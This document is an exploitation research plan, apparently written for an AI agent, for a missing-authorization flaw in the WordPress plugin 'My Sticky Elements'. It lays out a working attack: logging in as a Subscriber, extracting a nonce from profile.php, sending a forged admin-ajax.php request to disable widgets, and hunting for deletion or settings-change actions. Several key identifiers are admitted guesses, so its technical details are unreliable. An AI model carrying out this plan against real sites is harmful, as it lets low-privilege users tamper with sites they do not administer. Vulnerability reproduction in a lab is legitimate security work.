Exploitation Research Plan: CVE-2025-68995 - My Sticky Elements

1. Vulnerability Summary

The "My Sticky Elements" plugin for WordPress (versions <= 2.3.3) contains a missing authorization vulnerability. The plugin registers several AJAX handlers intended for administrative use but fails to implement proper capability checks (e.g., current_user_can( 'manage_options' )) within the callback functions. This allows any authenticated user, including those with Subscriber-level permissions, to perform administrative actions such as toggling the status of sticky widgets or potentially modifying settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: mystickyelements_update_status (inferred based on plugin logic and vulnerability type)
• HTTP Method: POST
• Authentication: Required (Subscriber or higher)
• Preconditions: At least one "Sticky Element" widget must be configured (default widget usually exists after installation).
• Vulnerable Parameter: widget_id, status, and nonce.

3. Code Flow

1. Registration: The plugin registers the AJAX handler in admin/class-mystickyelements-admin.php (or similar admin initialization file):

   add_action( 'wp_ajax_mystickyelements_update_status', array( $this, 'mystickyelements_update_status' ) );
   

2. Entry Point: A Subscriber user sends a POST request to admin-ajax.php with action=mystickyelements_update_status.
3. Execution: The function mystickyelements_update_status() is invoked.
4. Weak Security: The function likely calls check_ajax_referer( 'mystickyelements-settings', 'nonce' ) to verify the CSRF token but skips the authorization check:

   public function mystickyelements_update_status() {
       // Nonce check may be present
       check_ajax_referer( 'mystickyelements-settings', 'nonce' );
       
       // MISSING: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
   
       $widget_id = isset($_POST['widget_id']) ? intval($_POST['widget_id']) : 0;
       $status = isset($_POST['status']) ? intval($_POST['status']) : 0;
       
       // Logic to update database status...
       update_option( 'mystickyelements-widget-' . $widget_id . '-status', $status ); 
       wp_send_json_success();
   }
   

4. Nonce Acquisition Strategy

The plugin localizes admin-side scripts and nonces. While Subscribers cannot access the plugin's settings page, the plugin often enqueues its administrative scripts on all admin pages (including profile.php, which Subscribers can access) to support the top-bar or widget status icons.

1. Create Page for Analysis: Not needed if the nonce is localized on wp-admin/profile.php.
2. Navigate to Profile: Navigate to /wp-admin/profile.php as a Subscriber.
3. Extract Nonce: Use browser_eval to extract the nonce from the mystickyelements_libs global object (inferred identifier).
   • JavaScript Path: window.mystickyelements_libs?.ajax_nonce
   • Alternative: Search the page source for mystickyelements-settings.

5. Exploitation Strategy

Step-by-Step Plan:

1. Login as Subscriber: Use the http_request tool to authenticate as a Subscriber user.
2. Fetch Nonce:
   • Navigate to /wp-admin/profile.php.
   • Execute browser_eval("mystickyelements_libs.ajax_nonce").
3. Trigger Vulnerability:
   • Send a POST request to /wp-admin/admin-ajax.php.
   • Parameters:
     • action: mystickyelements_update_status
     • widget_id: 1 (The default widget ID)
     • status: 0 (To disable the widget)
     • nonce: [EXTRACTED_NONCE]
4. Verify Impact: Check if the widget is disabled on the frontend or verify the option value via WP-CLI.

Example Request (via http_request):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=mystickyelements_update_status&widget_id=1&status=0&nonce=a1b2c3d4e5

6. Test Data Setup

1. Install Plugin: Ensure mystickyelements version 2.3.3 is active.
2. Create Content: Ensure at least one widget is created (done automatically on first run).
3. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

4. Identify Widget ID:

   wp option get mystickyelements-widgets
   

7. Expected Results

• The AJAX request should return a JSON success response: {"success":true}.
• The sticky element widget on the site's frontend should disappear (or its status in the database should change).

8. Verification Steps

1. Check Database: Use WP-CLI to check the status of the widget after the exploit.

   # Inferred option name - check actual option name during research
   wp option get mystickyelements-widget-1-status 
   

2. Confirm Unauthorized Access: The fact that a Subscriber-level wp_ajax_ request succeeded confirms the missing authorization check, as only Administrators should be able to toggle widget status.

9. Alternative Approaches

If mystickyelements_update_status is not the exact action name:

• Search for actions: Run grep -rn "wp_ajax_" wp-content/plugins/mystickyelements to find all registered AJAX actions.
• Look for Deletion: Check if mystickyelements_delete_contact_data or mystickyelements_delete_widget are available.
• Check Settings Update: Look for actions like mystickyelements_save_settings that might allow a Subscriber to change global plugin configurations.